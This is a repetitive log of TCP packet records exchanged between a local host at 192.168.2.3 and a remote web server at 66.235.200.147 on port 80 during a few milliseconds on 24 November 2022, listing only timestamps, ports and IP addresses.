Nov 24, 2022 16:57:33.410056114 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410082102 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410101891 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.410109043 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410136938 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410152912 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.410165071 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410192013 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410218000 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.410218954 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410247087 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410274982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410278082 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.410301924 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410324097 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.410327911 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410355091 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410370111 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.410382986 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410410881 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410432100 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.410437107 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410482883 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.411017895 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411046028 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411075115 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411098957 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.411103010 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411130905 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411145926 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.411158085 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411185980 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411200047 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.411212921 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411241055 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411261082 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.411267996 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411294937 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411320925 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.411322117 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411350012 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411365032 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.411377907 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411405087 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411416054 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.411432028 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411459923 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411473989 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.411485910 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411528111 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.411873102 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411902905 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411931038 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411947012 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.411957979 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.411987066 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.412002087 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.412014008 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.412040949 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.412060022 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.412067890 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.412094116 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.412106037 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.412122011 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.412147045 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.412177086 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.412175894 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.412204981 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.412216902 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.412231922 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.412257910 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.412271023 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.412285089 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.412311077 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.412324905 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.412338972 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.412384033 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.414097071 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414136887 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414156914 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414175987 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414181948 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.414196968 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414216042 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414218903 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.414236069 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414257050 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414258003 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.414277077 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414295912 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414299965 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.414315939 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414336920 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.414495945 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414540052 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414546013 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.414560080 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414578915 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414598942 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414599895 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.414618969 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414638042 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414639950 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.414658070 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414676905 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414679050 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.414696932 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414720058 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.414743900 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414763927 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414783001 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414784908 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.414803982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414822102 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.414822102 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414841890 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414860964 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414865971 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.414889097 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414907932 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.414908886 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414928913 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414947987 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.414951086 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.415343046 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415384054 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.415385962 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415430069 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415441036 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.415472031 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415515900 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415518999 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.415558100 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415600061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415606976 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.415642023 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415683031 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415685892 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.415735006 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415755987 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415776014 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415781021 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.415796041 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415817022 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415823936 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.415836096 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415855885 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415862083 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.415874958 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415894032 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.415900946 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.415930986 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.416202068 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416222095 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416239977 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416260958 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416266918 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.416281939 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416304111 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416309118 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.416323900 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416342974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416342974 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.416363001 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416383028 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416384935 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.416402102 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416420937 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416424036 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.416440964 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416460037 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416465044 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.416480064 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416497946 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416501045 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.416517973 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416538000 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.416538954 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.416582108 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.417131901 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417150974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417170048 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417187929 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417192936 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.417207956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417227983 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417228937 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.417247057 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417267084 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417270899 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.417309046 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.417547941 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417567015 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417587042 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417606115 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417609930 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.417635918 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417644978 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.417656898 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417675972 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417695999 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417704105 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.417716026 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417737007 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417747974 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.417756081 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417774916 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417783976 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.417795897 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417814970 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417834044 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.417834044 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417855978 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417859077 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.417875051 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417895079 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.417896986 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.417944908 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.418519974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418540955 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418560982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418580055 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.418581009 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418601990 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418622017 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418623924 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.418642998 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418662071 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418663025 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.418680906 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418699980 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418699980 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.418719053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418739080 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418740034 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.418757915 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418776989 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.418778896 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418798923 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418817997 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418824911 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.418840885 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418859005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.418860912 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.418922901 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.419405937 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.419428110 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.419472933 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.419476032 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.419496059 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.419531107 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.419536114 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.419550896 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.419569969 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.419603109 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.419637918 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.419650078 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.419660091 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.419703007 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.419744015 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.419763088 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.419785976 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.419807911 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.419826984 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.419826984 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.419873953 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.420202971 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420222998 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420243025 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420262098 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420272112 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.420281887 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420300961 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420305014 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.420321941 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420341969 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420344114 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.420361996 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420377970 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.420382023 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420401096 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420419931 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420429945 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.420439959 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420459032 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420465946 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.420478106 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420496941 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420511007 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.420516968 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420536995 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.420546055 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.420583010 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.421080112 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421101093 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421122074 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421142101 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421153069 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.421161890 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421179056 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.421181917 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421202898 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421221972 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421226025 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.421241999 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421261072 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421262980 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.421279907 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421299934 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421302080 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.421319962 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421339035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421345949 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.421360016 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421379089 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421386957 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.421399117 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421418905 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.421421051 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.421462059 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.422017097 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422036886 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422056913 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422077894 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422107935 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.422112942 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422128916 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.422133923 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422152996 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422172070 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422178030 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.422193050 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422210932 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422219992 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.422230005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422250032 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422255039 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.422269106 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422288895 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.422292948 CET	49712	80	192.168.2.3	66.235.200.147
